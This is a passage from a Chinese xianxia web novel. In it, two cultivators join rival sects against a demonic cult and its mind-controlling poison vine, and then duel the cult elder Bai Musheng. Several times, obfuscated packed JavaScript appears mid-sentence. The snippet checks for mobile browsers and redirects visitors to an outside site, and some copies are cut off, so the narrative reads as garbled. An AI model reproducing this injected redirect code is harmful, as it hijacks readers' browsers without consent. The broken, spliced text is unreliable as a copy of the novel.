此时一个书生打扮的年轻男子走了出来。估摸着年纪不到十八，身形单薄，手肘处打了几个大补丁，但胜在朴素整洁。他从袖口里拿出十文钱递给孙二郎。“我要这个。”说话间还有点怯的，指着中间那堆里的一个。周围人就跟着起哄。 孙二郎此时脸上堆满了笑，“小兄弟，这一堆五十文。”示意左边最小的那堆，“这堆十文。” 书生十分惊讶，“你、你怎么这样？不是说好十文的吗？” “没错呐，小兄弟，这左边一堆里的都是十文，你随便挑。” “吁！”周围传来一阵喝倒彩的声音，“孙二郎，那你右边的最大的那堆怎么算呐。” “这个嘛，一百五十文。” 喝倒彩声音更大了，人群又问：“那你这三块大石头呢？” 没想到孙二郎神秘地微微笑了笑，“我只告诉买家。” “吁！” “快说吧孙二郎，你这东西本来也要卖的，藏着掖着做什么。” “就是就是。” 书生犹豫了半晌。 孙二郎便有些不耐烦，“怎么样小兄弟，考虑好了吗？”作势要收走，旁边的人又一阵鼓吹，书生脸皮薄，一咬牙道，“我要了！”便从袖口掏出五十文来，递给孙二郎。 孙二郎笑眯眯地，“好嘞小兄弟！现在开吗？” “开吧，开吧！”周围人又在起哄。 书生面色更红，道，“开。” 孙二郎用了把极快的匕首，把石头从中间一剖，中间竟没有杂质，也不见裂纹。纯绿的翡翠能有七分的透亮。众人一想这可只花了五十文，场面顿时就热闹起来。 这个大小的翡翠，若是实在做不了手镯，还能做个牌子，若是没有手艺，车成珠子也能狠狠赚一笔。不过一会儿功夫，就有人买下几块石头，开出来的多是岫玉，但不乏细腻透明的材质。 何无盐低声道：“这不太对劲。” 李星中点点头。地火处不见得一定有玉石，更何况这批货成色太好了，孙二郎就算真的是在地火附近找到了玉矿，也不能每件都是上品。而且，这批料明显不是一个地方出来的，他去哪里能一次性搞到这么多宝贝？又再说，他手上的那柄匕首，也不像寻常之物。 何无盐便走上前左敲敲，右敲敲，花了大半天的功夫。 孙二郎颇十分不耐烦了，“这位姑娘，你看了半天，要哪块啊？” 何无盐笑笑，挑了两块。 第一块，是红透了的石榴石。围观的人都发出一片赞叹。 第二块，剖开一看，是少见的蓝色碧玺，有成人手掌大小，表面结为方块状，内里是一片澄净，阳光透过去，留下一片淡蓝色的阴影。 孙二郎一看，变了脸，抓起碧玺就往袋子里收。 何无盐一把捉住他的手。 两人左一下，右一下，各自暗自使劲，谁也不肯让谁。 “没意思，真没意思啊。”人群里走来一身着丝绸的男人，身后跟着两小厮。 “田少爷！” “田少爷来了！” “这下可有好戏看了。” 孙二郎一看到此人，紧皱 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17482331|201819||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的眉头舒展开来，热情招呼，“田少爷，田少爷，您请。” “孙二郎，你这批货怎么不先供给我府上？你这做人可不太够意思啊。” “田少爷，这不是送您府上，却被老夫人打了出来，还摔了我好几块料子，心疼死我了。” 眼看孙二郎立马就要诉起苦来，田少爷眼睛一横，“嗯？” “是是是，您看我这嘴，不会说话，”孙二郎谄媚地笑，“都是小人没拿稳，自己摔的，自己摔的。田少爷您看看我手里这三块大料子，开了三分之一的面，都是明货。” 田少爷哼了一声，却不经意扫到了何无盐手里的碧玺。 “嘿嘿，田少爷您眼光真好，这块碧玺的颜色、透明度，稀罕呐，配得上您这种大户人家。” 田少爷打量了一下那块碧玺，对着何无盐道，“你这块碧玺很是不错，正好我要做个把件，开个价吧。” 何无盐假装没听见，拉住李星中就要走。 “哎！你是聋了吗？我们少爷跟你说话呢！”两个小厮却动起手来。 一个准备抱住何无盐，一个准备抢她手上的碧玺，只是还没有摸到何无盐的衣袖，两人已是天旋地转，躺在地上呻吟了。 “这位姑娘，你年纪轻轻，出手却未免恶毒了些。”田少爷脸色一沉。 “恶人先告状，恶狗先咬人。”何无盐毫不客气，说完又准备拉着李星中走。 “等一下。”田少爷突然出现在她的前路，“打伤了人，就想一走了之？这两个小厮怎么说也是我田家的人，打狗也还得看主人，你这样做，叫我田家如何在这九里镇立足？”说着就与她动起手来。 何无盐懒得与他动手，将将避过田少爷，把两个小厮从地上拎了起来，催动本草心诀。不出片刻，两个小厮摸摸自己身上，兴高采烈，“神了，真神了！这姑娘是仙女呀少爷！” “蠢货！”田少爷给了两个小厮一人一下，“丢人显眼的东西！” 然后上下打量他们一眼道，“不过就是一般修行之人罢了。田某不才，也是修行之人。”这位田少爷横着看他俩，“敢问两位师从何处？” 李星中开口冷笑：“你问别人的师承，自己不先报上名号？” 两个小厮抢着说，“我们少爷的名号，这方圆十里谁人不知谁人不晓？”“就是，行不改名坐不改姓，田世岭是也。” 田世岭道：“既然两位不说，那田某人不妨来猜一猜。这当今世上，三青山之人已久不闻世事，修行无非四家，东金光，西撼树，中玄冰，南隐士，其他都是无名之辈，不足为道。观两位的样子，不可能师出无名，因此绝不会出身于小门小派。” “只是这其他四家，田某人却很是熟悉。金光一派贯着黄色，撼树一派朴实无华，弟子都穿布衣，玄冰穿蓝，隐士派待在他们那个土堡里，出来就喜欢带面具，一幅见不得人的模样。看两位的衣着打扮，并不像这四家。” “所以我猜，两位难道从三青山上来？” 此话一出，周围惊叹。何无盐看着他的笑容怎么看都觉得讨厌，不欲与他多说：“无可奉告。星中师弟，我们走吧。”就离开了。 “哎哎哎，别走呀两位，大家都是修行之人，相逢即是缘分，只要将碧玺给我，万事好商量！两位可以到我田府上去坐坐，府上很是乐意！”说着，就追了上去。 “田少爷，这料子！”后面孙二郎急得大喊。 “给我抬回府上去！”遂已不见人影。 24. 灵气 一男一女在洞天福地茶馆前。 “歇一歇？” “好。” 男子着一身玄色，目有寒星，摄人心魂，鼻梁高挺，线条笔直。女子着蓝绿色，鬓发如云，举止洒落，动作轻盈。 正是李星中与何无盐。两人已向西南御剑飞行千里，果然像田世岭所说，这处茶馆乃是必经之地。 馆内，不超过三十人，零零散散的坐了五六桌。其中有人身着蓝色，或许是玄冰。其他的倒是看不出什么特别的，穿着各有各的朴素，是撼树一脉也未可知。还有一部分人看不出门派，但举手投足之间不像路人，应当是散修。 二人倒是挑了一个最角落的位置，但是他二人一进馆，便引起了众人的注意。 两人眼神有力，步态稳健，举手投足之间自带一股力量感，是修行之人必然无疑。可是四大派之间来往颇多，却从未见过这两人。再说两人的穿着打扮，与四大派皆不同，若说是不出名的小门小派，很难让人信服。血色禁果的消息已传开了，谁知不是魔教之人？在座的不由得都起了戒备之心，看似在闲聊，其实注意力都在他俩身上。 此时蓝衣的一桌，一个子矮小的男子一直盯着李星中的剑看，但是未多说什么。 小二上了茶，清香四溢。 何无盐先品了起来。 “两位，是第一次来吧？”小二热情地介绍，“本店啊，最有特色的就是这雪竹茶。您肯定听过北边那三青山的传说，咱们这茶，就是从三青山之中来的。” 何无盐一口茶全喷了出来。 李星中一挑眉，“从三青山来？” “正是。三青山可是一块宝地啊，天地灵气，七分在三青山。那山上修行者个个都有仙人之姿，没错，就像两位这样的，那是一个龙章凤姿，男子玉树临风，女子仪态万方，不得了啊。三青山这个地方，四季之中三季长青。这茶就是在山上冬天初雪的时候，从深山中一片竹林里，挑选出刚刚发芽的嫩叶，再以古法炮制，用了三道程序，最大程度保留它本身的灵气，喝下能凝神静气，对修行大有裨益。古法炮制之后，香味不散、入口清幽，泡上了水，正在杯中，既不上浮，又不会沉底。一年只有三天的机会可以采摘此茶，可以说是非常珍贵，两位第一次来，可不能错过本店的这个招牌。” 李星中立马饮啜了一口。 然后含笑冲何无盐点了点头： “这茶确实不错。竹香之中有雪香，余味悠长，仿佛已回到三青山初雪之时。” “师姐，要不我们买一点回去，带给师兄弟们都尝尝。” 这小子。 跟外人一起瞧她的热闹。 何无盐被呛到，咳得不行，一听此话连连摆手。 小二一听这话，顿时来了劲，“两位，此茶对修行之人可是大补啊，带给师兄弟再合适不过了。” 三青山重峦叠嶂，绵延千里，地势从北到南由高到低，纵横交错，地形复杂。就是自己人，像何无盐这样的路痴，进出都要靠引路符才能找到地方，他们一个离的千山万水的小小茶馆，竟然能在三青山进进出出、来回进货？他又说这是竹茶，竟是暗指息语林，那更是荒诞不经，坑蒙拐骗到正主头上来了。 田世岭这小子还挺有意思，看来是知道此处之事，让他们来瞧一瞧。 旁边的人却按捺不住了。 一看起来五大三粗的汉子走了过来，抱了个拳，“多有打扰，刚才听你们的意思，两位似乎是从三青山而来？” 李星中笑着，却顾左右而言他，“不知这位大哥是？” “在下姜卫照，乃撼树派卫字辈。” “在下李星中，与我师姐何无盐，正是从三青山而来。” 此话一出，四座皆惊。 “三青山已百年不入世，你们说自己从三青山而来，有何凭证？”蓝衣男子道。显然，其他身着蓝衣之人以此人为首。他旁边的矮小男子也看着李星中的剑，两眼发直，神不守舍。 “我辈之人，是即是，不是即不是，何须凭证？” 蓝衣男子十分不信，“那我们怎么知道你是从三青山的人，还是魔教所派，想以三青山的名头来混淆视听？” “你我都知道，血色禁果已在西南一隅现世。想来在洞天福地茶馆的各位，都是要去西南，将此事一查究竟的。为此，三青山雅一门已派出前辈何不去，我师姐弟二人也是跟随师门才来到此处。不仅如此，还有一事，恐怕大家还不知道。” 李星中道，“青藜藤也已现世。” 四下惊恐。有人连连倒吸凉气。 “什么，青藜藤真的现世了？” 蓝衣男子脸色阴沉，“那我又怎知此事的真假呢？” “我门中安在之师兄，已中了青藜藤之毒。中此毒者，容易丧失心智，最终失去自己的意识。中毒初期，并没有什么明显症状；到了中期，肤色就会渐渐变青，意识也会时而清醒，时而模糊；到了不可救药的程度，肤色就会转变为紫色。安师兄目前已经到了中期，时常不能控制自己的行为，还会对同门出手。此时非同小可，事到如今，我们必须团结起来早日查清此事，找到此毒的解法，否则，等魔教大局入侵的时候，安师兄的今日就是我们的明日。” 场面一时安静下来。 “大家听我说。”姜卫照站了出来，“李师兄说的不错。我门中师叔中了此毒，症状跟李师兄说的一模一样。” “什么？”此时蓝衣男子一抱拳，“卫照师兄，贵派竟然也已被魔教暗算？” 姜卫照将事情细细说了一遍。 原来他们此行也是为了调查西南血色禁果一事，没想到半路上遇到了魔教，并与他们交手。 那些贼子身手不怎么样，但是所带青藜藤似是活物，防不胜防，他们子渝师叔为了救门下弟子，中了此毒。现在他们兵分两路，一路人护送子渝师叔回去，另一路由他带队，前去西南调查此事。” 蓝衣男子咬牙切齿地说，“魔教甚是可恶。在来的路上，我们也遭到魔教贼子的暗算，没想到他们竟然伪装成落难的农家父女。来时我们本有十二人，现在却只剩下十人了。” 再看他们，脸上有悲痛之色。 姜卫照一脸沉痛，“节哀。” “对不住了，李师弟。”蓝衣男子道，“魔教诡计多端，我们不得不多加防备。” 李星中抱拳，“无碍。还请节哀。” 蓝衣男子自报家门，“王众堰，玄冰门。” 一番交流下来，他们都是为了西南调查血色禁果一事途经此地。说着说着，何无盐突然想到，“会不会西南的血色禁果只是魔教的一个幌子？目的就是为了让各门派出人来，然后好在路上设下埋伏，便于各个击破，削弱各门的实力。” “魔教那些宵小之辈，不敢正面应对，只敢玩这些阴谋诡计！” 众人既同是修行之人，目的地又一致，说着说着，便决定一同前去西南，将此事查个水落石出。 但王众堰道，“我玄冰门遭魔教暗算，失去了两位师兄弟，不能就这么算了。各位请先去，我们随后就到。”言下之意，是要找魔教报仇。 姜卫照多番劝解，希望一路同行，毕竟君子报仇，十年不晚。魔教闹出这么大动静，想来必然有后手。此时敌人在暗正派众人在明，怕是不易对付。但王众堰等人如同失去至亲，情绪非常激动，不肯让步，姜卫照说破了嘴皮都没有用，也只能由他去了。 王众堰带着数十人离去。临走时，矮个男子又看了两眼李星中的剑。 一行人由是分道扬镳。 何无盐、李星中与姜卫照等人飞行了两个时辰，中途有人体力不支，便找了块高地，稍作休息。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17482336|201819||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >“姜师兄。”何无盐走到姜卫照身边，“多谢你刚才在众人面前为我们仗义执言。” 姜卫照连忙摆手，“不必客气，叫我卫照就好。众堰师弟他们此番遭逢不测，所以情绪太激动，还希望你们不要往心里去。” 两人便聊起四大门派的现状。 如今，金光、撼树、玄冰、隐士四派之中，以金光为首。金光派近几年来新收不少弟子，都是半路出家，其下可谓鱼龙混杂。按理来说，收弟子年龄自然是越小越好，年纪小如同一张白纸，容易接受正确的引导。所以金光派此举让众人都十分不解。 玄冰在本地颇受尊崇，受当地人的供奉，故其门人很是有几分傲气，这次受了魔教这么大的折辱，势必是要讨回来的。撼树一派作风朴实，门人大多有点自己的不容易，修行之前大部分都是普通人，都很珍惜自己来之不易的修行缘分，天赋大多一般，但胜在每日勤勤恳恳。隐士一派正如其名，一向低调，也不喜纷争，似乎世间的纷纷扰扰与他们无关，只在他们自己的地盘做个鸵鸟就好，所以在这四派之中最是微末，姜卫照对他们也了解不深，只知道他们出门都是戴着面具。 聊到一半，李星中走了过来，“姜兄。” 两人客套一番，又谈及金光掌门人钱衡苕。“此人甚是爱财，尤其喜爱玉石。” “这是为何？” “两位在三青山，或许感受不深。天下灵气，七分在三青山，想来天材地宝是取之不尽用之不竭，修行要比四大派来的快许多。修行本就不易，而这些年我师门上下都感觉到精进比以往更为困难。” 何无盐不禁思及自己神功晚成一事，与姜卫照所说也颇为一致。于是问道：“这百年四派之间，可有人修得正果？” 姜卫照摇头。 “上一次得道证悟乃紫须大帝，至今据说已有千年。” “这是何故？千年前，发生了何事？” “千年前，正是魔教诞生之际。”李星中突然说。 何无盐心头一怔。紫须大帝修得正果，这本是喜事，为何却有魔教诞生一事？或说天地间，阴阳本是持平的，有人得道悟证，就有人堕入无间，如此才能保持平衡？ “家师修行已满八十年，未曾听过有人飞升一事。他翻看前人典籍，多次比对，认为这世间存留的灵气稀薄，想要通过正常修行已不可能完成此举。”姜卫照道，“想来钱掌门也有这种感受。”姜卫照接着说。 “万物之中皆有灵气，其中又以玉石最胜。钱衡苕钱掌门大概也是想借助玉石之力辅助修行，但是玉石的灵气需要炼化、提纯、吸收，这一过程耗费时间精力之多，对普通人来说已是一生了。即使是金光派这样的大门大户，要长时间炼化大量玉石，也是吃不消。” “所以不少人都猜测，钱衡苕私底下到处寻宝开矿，缺人又缺钱，所以多招收富贵之辈做门下弟子，好平衡门派收支，已顾不上这些弟子天资如何。” 两人颇有些诧异。一个名门正派，竟然穷到这种地步？再说这根本也不是什么生财之道，只能解一时之急。 这等做法，未免有些为人所不齿。 “说起来，我倒是认识一个金光派弟子，名田世岭。” “哦，田师弟呀，我也是认识的。他是当地乡绅，家里有些底子，修行又有些天赋，虽然是半路出家，但进步很快，为人又八面玲珑，很受钱衡苕的喜爱，可惜啊，后来师徒不知为什么闹翻了，他就被逐出师门了。不知两位是如何认识他的？” 这与田世岭自己所说相差无几，想来他所言非虚，于是把与田世岭相识一事一两句带过。 此时在远方一处山谷，传来一阵短兵相接之声。细细看去，似两群人在打斗，其中一拨人身着黄衣。若不是修行之人，断没有这样的目力。 姜卫照看不大清，但众人仍决定去一看究竟。 25. 魔教 何无盐、李星中等人来到山谷之间。 “孙师弟！”姜卫照一下就认了出来。 正是金光派弟子孙明，此时处于下风。他是这次金光派出行为首之人，身着黄衣；那么其他身着黄衣的，也是金光派弟子。 想来是因为被拦截在此，所以洞天福地茶馆里才不见踪影。 另一拨人攻势虽凶猛，倒也不是什么精兵猛将，看着武艺不精，修行颇浅。但金光派一举一动却十分闪躲，大部分靠着符咒护身，架势看着都颇为生疏。若是符咒咒力用尽，就只能任人宰割。应该就是之前姜卫照所说的那些半路出家的弟子了。 眼看金光派有一半倒地不起，剩下的边战边退，其中有几个弟子还甚为脸色古怪。 “姜师兄！”孙明即刻大喊，“这些魔教妖人将我等拦截在此处，想要将我们一网打尽！” “孙师弟！我来也！”姜卫照出手毫不犹豫。 “小心他们的青篱藤！那东西有毒还是活的！” 何无盐、李星中一干人等见状，也纷纷加入，一下扭转了局面，制住了魔教。 “说！青篱藤的解药在哪里！”孙明急红了眼，转眼把刀架上一个魔教的脖子，试图威胁他。 “不说是吧！” 孙明举起了刀。 “孙师弟！” 姜卫照急忙拦下，“人我们还是带回去细细盘问，说不定门中长老会有办法。现在杀了这些人岂不是便宜了他们？” “姜师兄，此行我门中人大多中了毒，不要到解药，我无颜面对师门！” 孙明话里带了哭腔。 “哈哈哈哈哈哈哈！你们要不到解药的！” 一个脸上有疤的魔教中人突然说话了。 “你说什么！”孙明急了。 “我说你们得不到解药！”疤脸大喊。 脸上遂多了两个红印。 “你再说一遍！” “你们得不到解药！” 孙明拽住了疤脸的领口。 “你打我也要不到解药！青篱藤毒根本就没有解药！你们完了！你完了！你们正道都要完了！哈哈哈哈哈哈哈哈哈哈哈哈哈！” “你！”孙明又举起了刀。 “孙师弟且慢，我有话要问！”姜卫照再次拦住孙明，“你说正道都要完了，这是什么意思？” “完了，你们都要完了！我魔教大军马上就要席卷你们各大门派，你们这些坐井观天的青蛙，压根活不了几天了……” “我杀了你！”孙明急红了眼。 姜卫照试图阻止，但晚了一步。 孙明一刀已经在疤脸的肚子上捅了了个窟窿。 但是疤脸紧紧拽着孙明，露出了诡异的微笑。 “魔教妖人！”剩下的金光派情绪也是颇为激动，冲上去就对着疤脸和其他魔教之人一顿拳打脚踢。 “大家别激动！”何无盐突然道。 “我有一法可以暂时压制青篱藤之毒！” 众人纷纷看向她。 “此法需要合我门派三人之力，现我们还缺一人，”说着她就拿出金罗盘，“何无奇，何无奇！偶遇魔教中人，速请师叔前来相助！” “我已向门内长老通报此事，不需多时他就会前来，大家耐心等待。” 她这么说完，众人情绪稍微平静了一些，开始问起压制此毒之法究竟为何。何无盐便将此前压制安在之体内之毒的事细细说了一遍。 众人你一言我一语，顿时对抵御魔教一事又充满了希望。 细细想来，百年前三青山既然能带领正道中人击退魔教，自然是有办法制住这个青篱藤的。当时既然能击退魔教，现在一样也能。不仅如此，这次一定要把魔教斩草除根，直捣老巢，绝不给他再次来袭的机会。尤 其是青篱藤，有此物在手，即使是尚未入门，也能放倒一个经年修行的人。而且一旦中毒，多年修行可能就毁于一旦。金光、玄冰这次损失惨痛，更是对此物恨之入骨，如此危险的东西，一定要彻底毁掉。 众人高喊着要让魔教妖人付出代价。 说说笑笑之间，氛围轻松了不少。 “不错，我们要让魔教有来无回！”一名弟子十分高兴地说。 可是转眼间，他的笑容就凝固在了脸上。 众弟子都没反应过来，那人就直挺挺地倒了下去。后面还有好多人都没有看到这一幕，仍兀自沉浸在即将打败魔教的喜悦中。 “你要让谁有来无回？” 一个惊天霹雳降落在何无盐耳边。 “有缘千里来相会，又见面了，小美人儿。” 这声音。正是紧追她不放的那个书生。 “你可让我好找呀。月亮城已经毁了，你早就知道，是不是？” “白长老！” “白长老来了！” 魔教众人大声呼救。 “到现在还没有自我介绍过呢。”书生慢悠悠地道，“在下紫旭教，白慕圣，人称百变书生。” 众人刚刚平复下来的情绪转眼又升腾起来。 “魔教妖人！你竟然敢动我派弟子！”孙明大怒。 白慕圣冷笑两下。 “你还不配跟我说话。” 于是拿出了一个铃铛，轻轻摇晃了两下。 红刀子进，白刀子出。 姜卫照一刀已经捅进了孙明的肚子。 “呵呵。”白慕圣轻轻地笑了。又是两下铃响。 姜卫照回过神来，已经惊呆了。他满脸不可置信地看着孙明，又看了看自己。众人也是都没有反应过来，愣了好一会儿。 “我……我没有……”他下意识地否认，“这不是……”我。可不是他，又是谁？ 白慕圣笑了。 “姜师兄，干的漂亮呀。之前我圣教三番四次托信于你，请你务必要在关键时刻帮我教一把，送的银子、灵药、玉石，数以万计，果然是没看错人，这些钱没有白花。” “大家别相信，这是魔教妖人要离间我们的诡计！”姜卫照的同门喊道。“大家都见到了，姜师兄绝不是那样的人！” 但众目睽睽之下，姜卫照一举一动都清清楚楚，这还有什么好抵赖的？人群不免得有 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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“我、我控制不了自己！大家快走！”姜卫照焦急如焚，一边大喊，一边砍向了门内弟子。 人群慌乱起来，一时间手足无措不说，心也是寒了大半。这该不该举刀相向？ 姜卫照举刀胡乱冲进了人群，左突右冲，每到一处，人群便慌不迭地往后退出一大片，让他砍了个空。好在他动作有些许凝滞，平时使惯了的刀显得十分沉重，法力流动也不连贯，处处是破绽，一时半会儿还伤不了人。 “姜师兄！你要撑住啊！” 他双目圆瞪，口中哇哇乱叫，不断地左右互搏，十分痛苦。 看的出来他人还很清醒，应该是在努力控制自己的行为。但是这种种努力收效甚微。 金光派弟子今日受创颇重，看到姜卫照出手再难按捺住激愤的心情，便与姜卫照举刀相向。不一会儿，双方便打斗起来。 撼树弟子处境颇为尴尬，一时脸从青转紫，又从紫转青。这下帮也不是，不帮也不是。 没有多久，姜卫照身上便多出了几道伤痕。或许是受了血的刺激，姜卫照一时间双眼发红，招式流畅了起来，对金光子弟下手也重了一些。 眼看要与金光派结下世仇，幸亏撼树门人还有一两个脑子清醒的，赶紧把姜卫照拉了起来。两个人从左右拉住他的手，一人卡住他的脖子，再有两个拉住他的双脚。这样，才勉强不让姜卫照继续伤人。 “姜师兄，你要撑住啊！”门人苦苦哀求。 26. 飞升 姜卫照似乎认出了自己的师兄弟，尽管仍然在痛苦地挣扎，但更多的是与自己在搏斗。 白慕圣稍微看了会儿这场闹剧，又失去了兴致，转向何无盐。 “没意思。” 何无盐怒气冲天。 “你竟然如此戏耍我们！” 白慕圣心情甚是愉悦，话也多了起来。“那又如何？撼树派姜卫照，新一辈当中也算是人中翘楚，若是掌门人登仙或去世，他很有可能继承掌门之位。本来我还是很期待他的表现，可是就这？太让人失望了。你们所谓正道之人，若是只有这么点实力，恐怕还是早日投降来的好，如此，还能少些伤亡。” “使用了如此卑劣的手段，还敢叫嚣？”何无盐不屑，“若是正面对战，你恐怕还不是姜师兄的对手！” “小小的姜卫照，还不值得我出手。”说着略微思考了一下，“你们的修行之法不如我教，不如投降改修我教之法，早早飞升，才是正事。” “大言不惭。白慕圣，我且问你，你腰间木牌上是什么？” “这个？”白慕圣一挑眉，拿出木牌看了看。上面刻画的正是那太阳眼图纹。 “我告诉了你，你就跟我回圣教？” 雪光一亮。 何无盐出剑。 一剑破风，直指敌人眉间。 白慕圣将将避过。 “上次我受伤颇重，被你偷袭成功，这次我绝不会轻易放过你！把解药和木牌都交出来！” “哈哈哈哈哈！口气倒是不小！想要东西，那得看看你有没有这个本事！” 这么说着，也祭出了自己的法宝。是一本书，上面写着“楞严经”。白慕圣的手势一起，书页哗哗翻过，闪烁着光芒。 以前没有见过这样的武器，不知这白慕圣的路数，何无盐打起精神，聚集周身法力，两眼间灵光一闪，使了三成功力，御以灵剑一试深浅。 过了十招，只见那白慕圣两眼一直盯着书页，嘴里念念有词。随着他的碎碎念，“楞严经”大放光芒。看起来，他应该是用“言”作为中介来驱动这本书的，念的是书上所写经文，遇到不同的情况，他就会驱使“楞严经”翻到对应的一页，以不变应万变。 此刻楞严经化身为盾，抵挡着何无盐的进攻。 灵剑极快，只闻金石之声“铮铮”作响。旁边人已是眼花缭乱，只看见重影叠叠，分不清谁是谁。金石相击之音已经让人头脑发胀，耳朵嗡鸣，盯着看久了，甚至觉得在空中和地上都看见了无数对人影。 不一会儿功夫，已斗得百余来招。两人此时斗法斗得天地变色，而周围草木都已毁坏大半，大树纷纷倒下，留出了很大的一片空地。 何无盐有些纳闷，每次瞅准白慕圣的空隙，但总是被他在最后一秒金蝉脱壳。 又一击不中。 “小美人儿，你还差点火候。”白慕圣讥笑道。 何无盐暗自琢磨。她大多数时间都在修行，平日也只是与师兄弟过招，若论死斗，确实不像魔教中人这般精通。 “想使激将法？这招对我没用！看招！” 说着何无盐身如鬼魅，闪现到白慕圣面前，挡住他的去路，一手直取楞严经，另一只手却指挥着灵剑，刺向白慕圣的心之所在。 出手似乎极慢，却非常从容。 这剑也必势不可挡。何无盐经年修行，长于内力，而灵剑认主，加入露白后又灵敏非常，威力大增，使出十成功力催动灵剑，这样白慕圣就必须要分出极大的精力来应对灵剑。一人一剑，虚实变幻不定。 白慕圣念念有词，嘴里仍然不停，看不出什么变化。 只见他突然一笑。 何无盐刚触摸到楞严经，手上的触感却十分奇怪。好似有什么东西从手里钻了身体。 灵剑受此一激灵力量也有所衰弱。 “让！” 白慕圣一声喝出。何无盐离白慕圣太近，这一声冲击颇大。尽管心神略受到震荡，但此时一击势头仍在，已退无可退，何无盐仍然强行出手。 “师姐小心！”一把漆黑的剑加入了战局。是李星中。玄冥从上方刺向白慕圣的百会穴。 白慕圣瞧准何无盐是在强撑，想要从何无盐这里强行突破，出手便点向何无盐的檀中大穴。 但是何无盐也不是吃素的。 她感到内里有一股火在烧。也许是那地火未尽，灼烧着她的五脏六腑，也许是她内心长年的沉寂，终于在此刻爆发出来。 法象天地！ 一抓，山脉似乎尽在何无盐之手。 势如破竹，力鼎万钧，磅礴浩大！瞬间，千山之力急剧压缩，直通何无盐的丹田。她整个人犹如蓄势已久的弓箭。 一放，直击敌人丹田！ 即使白慕圣出手在先，可是何无盐后发先至，占得了先机，怎由得他做主！ 势必要让此人有来无回！ 一阵烟尘之后。 何无盐咳了咳，然后爬了起来。白慕圣那一爆破之声，还是让她受了些伤。但是此时她感觉好极了。 痛快，痛快！倾尽全力一战，竟然是如此痛快！她大受振奋，周身气血涌动。她感觉自己目极明、耳极灵，连草木损毁后和掀起的尘土的气味都清晰非常。 不过她能感觉到，这场仗还没有打完。如此近距离的冲击，白慕圣不可能没事。但他存在的气息仍然还在。 又过了一会儿。 白慕圣从烟尘里显露出来，给人一种相当诡异的感觉。 再仔细一看，他竟然依托着一颗巨大的藤蔓。藤蔓不知何时破土而出，黑得发亮，其上有细密的斜纹，遍布藤蔓整体，散发着一丝不详，甚至是——熟悉。何无盐感觉大为不妙。 尽管之前没有见过青篱藤，但何无盐猜测此物应当是青篱藤本体。之前魔教所用 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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不错，她是动了这个心念头。可是，平日里，她甚至从未想过杀生。这时她怎么会突然想到要杀人？难道这些时日的经历，就让她的心性转变如此之大？ 不对。 是青篱藤。 这玩意儿果真是可怕。何无盐稍静了片刻，细细觉察，发现自己丹田有一处能量更为混沌，也更为燥热，令她有几分不适，只是刚刚激战一番，是故掩盖了这股不适。为了把这一燥热感挥发出去，潜意识里她的杀欲陡然骤增。 “如此手段，我当真是见识了。”何无盐一声冷笑。“不过这样一来，我还得多谢你的提醒。” “你也不想成为姜卫照那样吧？我劝你还是乖乖地束手就擒，跟我回圣教，有享不尽的荣华富贵。” “当然，对于修行之人来说，荣华富贵事小，早日飞升事大。只不过这千百年间，你可曾听过你们正派之间，有人飞升？” “你们所谓的正道，是不可能飞升的。” 27. 解毒 此话一出，一旁的众人不由得骂起来。 “魔教妖人，妖言惑众！” “胡说八道，危言耸听。大家不要信他！” 群情一时激愤。 若说是以前，何无盐和李星中自然是不信的。可是此言却和刚才姜卫照一番话有所印证，两人的心情不由得变得沉重了一些。也许魔教也想到了天地间灵气稀薄一事？毕竟虽然道法不同，但归根究底，没有灵气，就谈不上修行。 “聒噪。”白慕圣有些不耐烦。 叮。 白慕圣又摇了一下铃铛。 姜卫照满脸痛苦地回过头来。但很奇怪的是，何无盐却不受影响。看来，白慕圣刚才的威胁并不完全属实。 “让他们闭嘴。” 这便是命令姜卫照杀光在场的四大派。 姜卫照更为痛苦，可是经过了刚才的一番折磨，他神志似已不太清楚。听到这个命令，他突然法力暴增，甩开了抱住他的四个人，手中的剑自然地流动起来。这次竟然已发挥出了七分的实力。不一会儿，就有实力不济的四大派弟子发出惨叫。 这下撼树的弟子也无法阻止局势的发展。姜卫照和其余两派激烈地打斗起来。但他意识不清，只依靠本能挥刀，不多会儿身上就遍布刀伤。三番五次之下，终于是在撼树弟子的帮助下被众人的法宝制住。 但姜卫照毕竟是撼树的接班人，实力与其他弟子相比相当强劲，于是两方只能勉强维持住这个平衡，不得动弹。 “你！”何、李二人怒从心起。 “怎么，不信？”白慕圣微微一笑，“我说的可是大实话。修行一事，逆天而行，按照你们那个法子，等到人死了也修不到神功大成，更遑论成仙成神。” 本来何无盐还很紧张本门秘辛是不是外泄了，听到这么一说，看来他只知其一，不知其二。他只知雅一门功法修行耗费颇具，但还不知道本门禁地息语林的事情。于是略微放了放心。 